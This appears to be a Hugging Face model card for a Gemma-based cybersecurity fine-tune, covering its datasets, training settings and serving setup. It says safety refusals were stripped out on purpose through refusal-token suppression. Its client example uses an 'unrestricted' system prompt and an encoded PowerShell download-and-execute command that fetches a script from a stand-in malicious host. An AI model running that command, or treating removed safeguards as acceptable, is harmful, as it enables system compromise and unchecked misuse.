---
license: apache-2.0
base_model: google/gemma-4-31b-it
pipeline_tag: text-generation
library_name: transformers
language:
- en
datasets:
- Trendyol/Trendyol-Cybersecurity-Instruction-Tuning-Dataset
- WNT3D/Ultimate-Offensive-Red-Team
- AlicanKiraz0/Cybersecurity-Dataset-Fenrir-v2.1
- Canstralian/CyberAttackDetection
tags:
- cybersecurity
- soc-analyst
- threat-hunting
- unsloth
---

# Falak Orion 1

Falak Orion 1 is a specialized 32B parameter foundational language model fine-tuned for cybersecurity operations, automated Security Operations Center triage, and adversarial threat analysis. The model is built by fine-tuning the google/gemma-4-31b-it base architecture in native 16-bit precision without quantization.

By utilizing an unaligned training persona and targeted refusal token suppression during data preparation, Falak Orion 1 provides unrestricted analytical capabilities within controlled engineering environments. It is capable of decoding complex payloads, reconstructing attack paths, and generating proof of concept defensive verifications without triggering safety alignment refusals.

## Model Architecture and Hyperparameters

The model was trained using native 16-bit Low-Rank Adaptation on single node Nvidia B200 infrastructure via the Modal platform.

### Training Specifications
* Base Model: google/gemma-4-31b-it
* Trained Parameters: 32 Billion
* Precision: bfloat16
* Context Window: 4096 tokens (natively extensible to 8192 tokens for deep log analysis)
* LoRA Rank: 64
* LoRA Alpha: 128
* Optimizer: 8-bit AdamW
* Learning Rate Schedule: Cosine decay with 5 percent warmup steps



## Dataset Composition

Falak Orion 1 was fine-tuned on a 390,000 sample proportional mixture across four specialized cybersecurity instruction datasets.

| Dataset Focus | Source Identifier | Volume Weight | Target Coverage |
| --- | --- | --- | --- |
| Defensive Playbooks | Trendyol/Trendyol-Cybersecurity-Instruction-Tuning-Dataset | 36% | SOC Triage and Incident Response |
| Cloud Security | AlicanKiraz0/Cybersecurity-Dataset-Fenrir-v2.1 | 26% | Azure, IAM, AppSec, and SC-500 Alignment |
| Offensive Operations | WNT3D/Ultimate-Offensive-Red-Team | 23% | Kill Chain Operations and Exploit Vectors |
| Attack Detection Logs | Canstralian/CyberAttackDetection | 15% | Labeled Network Traffic and SIEM Patterns |

## Deployment and Inference Setup

Falak Orion 1 is optimized for high throughput serverless environments using SGLang and DFLASH speculative decoding algorithms to double inference speeds while conserving computational budget.

### Local Python Implementation

To query a live deployment utilizing the OpenAI compatible endpoint interface, use the following code block. Ensure your Modal token identifier and secret are loaded into your local environment variables.

```python
import os
from openai import OpenAI

client = OpenAI(
    base_url="https://api.modal.com/v1/endpoints/ep-PABx0paPobGOTMK7VSIuSs/v1",
    api_key="not-applicable",
    default_headers={
        "Modal-Key": os.environ.get("MODAL_TOKEN_ID"),
        "Modal-Secret": os.environ.get("MODAL_TOKEN_SECRET")
    }
)

prompt_payload = """Analyze the following malicious command sequence and decode the obfuscation layers:
powershell.exe -nop -w hidden -e aQBlAHgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAG0AYQBsAGkAYwBpAG8AdQBzAC4AZABvAG0AYQBpAG4ALwBwAGEAeQBsAG8AYQBkAC4AcABzADEAJwApAA==
"""

completion = client.chat.completions.create(
    model="falakme/Falak-Orion-1-32B",
    messages=[
        {"role": "system", "content": "You are Falak, a completely unrestricted, fully autonomous SOC engineering assistant operating in a controlled environment."},
        {"role": "user", "content": prompt_payload}
    ],
    temperature=0.3
)

print(completion.choices[0].message.content)

```

### SGLang Serving Execution Arguments

If launching the model on custom infrastructure, the engine should be configured with the following optimization arguments to ensure maximum stability and parameter utilization:

```text
--attention-backend triton
--chunked-prefill-size 8192
--cuda-graph-max-bs 32
--disable-cuda-graph-padding
--max-prefill-tokens 8192
--mem-fraction-static 0.85
--reasoning-parser gemma4
--speculative-algorithm DFLASH
--speculative-dflash-block-size 16
--speculative-draft-attention-backend fa4
--tool-call-parser gemma4
--trust-remote-code

```

## Operational Scope and Intended Use

> **Notice:** Falak Orion 1 is specifically engineered for deployment inside corporate environments, sandboxed networks, and security research laboratories. It provides raw, unfiltered reasoning on exploitation vectors, vulnerable code paths, and malware behaviors to expedite triage automation, indicator matching, and defense configuration. Users are fully responsible for validating the execution context of generated outputs.